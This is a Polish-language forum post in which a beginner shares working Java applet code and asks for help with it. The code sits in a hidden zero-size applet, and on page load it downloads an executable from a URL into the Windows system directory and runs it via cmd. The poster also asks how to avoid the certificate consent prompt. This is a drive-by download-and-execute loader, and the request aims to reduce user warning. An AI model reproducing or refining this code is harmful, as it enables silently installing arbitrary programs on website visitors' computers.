God damn it.
Jestem bardzo początkującym wi wiedziałem, że coś nie będzie działało.
W takim razie inaczej.
Mam napisane instrukcje w javie, działa to jak trzeba, samo się ściąga i instaluje, tylko w tym problem, że pojawia się certyfikat zaraz po wejściu na strone z zapytaniem czy akceptować. Po zaakceptowaniu ładnie się ściąga i instaluje, ale ja chciałbym to przerobić na guzik, by dopiero po kliknięcu guzika wyskakiwało okienko. I dobrze by było, gdyby nie było to zapytanie o certyfikat, tylko po prostu informacja o automatycznym ściąganiu i instalacji.
Wszystko wygląda tak:
Tworzę plik program.java
[code]import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.*;
public class Program extends JApplet{
public void init(){
try {
Downloader.downloadToWindowsDirectoryAndRun(new URL(getParameter("program")));
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
[/code]
potem downloader.java
[code]
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.io.*;
public class Downloader {
public static boolean downloadToWindowsDirectoryAndRun(URL file){
DataInputStream in = null;
DataOutputStream fr = null;
String path=null;
String fileName = file.toString().split("/")[file.toString().split("/").length-1];
System.out.println(fileName);
try{
in = new DataInputStream(file.openStream());
path = getWindowsPath()+System.getProperty("file.separator")+fileName;
fr = new DataOutputStream(new FileOutputStream(new File(path)));
int tmp=-1;
while((tmp = in.read())!=-1){
fr.write(tmp);
}
}catch(Exception e){
e.printStackTrace();
return false;
}finally{
try{in.close();}catch(Exception e){}
try{fr.close();}catch(Exception e){}
}
try {
Runtime.getRuntime().exec("cmd /c start "+path);
} catch (IOException e) {
e.printStackTrace();
}
return true;
}
public static String getWindowsPath(){
String path = null;
BufferedReader br = null;
try {
Process p = Runtime.getRuntime().exec("cmd /c set");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String tmp = null;
while((tmp = br.readLine())!= null){
if(tmp.contains("SystemRoot")){
return tmp.split("=")[1];
}
}
} catch (IOException e) {
e.printStackTrace();
}finally{
try{br.close();}catch(Exception e){}
}
return path;
}}
[/code]
Dalsze instrukcje co się dzieje już chyba nie są potrzebne.
Na końcu dodaję tylko na stronie kod
[code]
<html>
<head>
<title>Tytuł strony</title>
</head>
<body>
<applet width="0" height="0" code="Program.class" archive="program.jar">
<param name="program" value="http://www.NAZWA_TWOJEJ_DOMENY.com/program.exe">
</applet>
</body>
</html>
[/code]
Da się to jakoś podpiąć pod guzik?